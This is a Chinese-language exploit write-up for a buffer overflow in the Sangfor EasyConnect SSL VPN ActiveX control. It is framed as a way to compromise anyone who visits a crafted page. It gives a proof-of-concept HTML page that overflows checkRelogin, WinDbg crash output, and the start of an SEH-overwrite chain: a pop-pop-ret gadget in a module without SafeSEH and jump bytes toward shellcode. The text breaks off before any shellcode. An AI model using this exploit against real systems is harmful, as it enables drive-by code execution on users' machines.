漏洞描述:
通过对某公司的ssl vpn分析,发现其存在远程代码执行漏洞,对于安装该版本ssl vpn的客户,如果访问了我们特意构造的网页,就会导致任意代码执行(挂网马等),致使机器沦陷。
适用环境:xp/win7等。
分析过程:
环境: xp sp3
浏览器: xp sp3 自带的ie6
(安装install程序,程序目录C:\Program Files\Sangfor\SSL)
安装程序:
这里附上安装程序:http://pan.baidu.com/s/1i4oqmP3
一、先用windbg加载poc(c:\11.htm)
在构造poc时,可以直接用个for循环构造个常的字符串,poc代码如下:
<html>
<body>
<object
classid="clsid257CF85-8E97-4C9B-8407-459B28005700"
id="target"></object>
<script>
var buffer =
"AAAAAAAAAAAAAAAAAA";
var temp =
"AAAAAAAAAAAAAAAAAA";
for(var i =
0; i <
1000; i++) buffer += temp;target.checkRelogin(buffer);
</script>
</body>
</html>但有时为了方便定位异常点的位置,我们需要构造有规律的字符串,
个人在调试时使用的字符串(因为字符串太长,直接贴在文章中太占篇幅,所以以链接方式给出): https://raw.githubusercontent.com/CodingLi/test/master/exp_buffer
Windbg打开ie
然后g运行程序,出现异常,异常情况如下:
0:000> g(830.fb8):
Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.eax=0000004a ebx=022cde82 ecx=0013e140 edx=00140000 esi=0013df00 edi=0013e140eip=77c12332 esp=0013dea0 ebp=0013deac iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202msvcrt!wscanf+0x6c:
77c12332
8802 mov byte ptr [edx],al ds:0023:00140000=41
*** ERROR:
Symbol file could not be found.
Defaulted to export symbols for C:\Program Files\Sangfor\SSL\ClientComponent\CSClientManagerPrj.dll -
EasyConnect vpn的几个模块都是关闭SafeSeh的。使用Ollyfindaddr查找pop pop ret
查找结果很多,从中选择一个全小于7f的地址:
10013439 FoundOP EDI POP ESI RETN at 0x10013439 Module: C:\Program Files\Sangfor\SSL\ClientComponent\SSOClientPrj.dll由于数据要小于7f,所以jmp 06 (eb 06)也不能使用了,为了能保证程序跳到我们的shellcode,这里使用jnz 06 jz 04(75 06 74 04):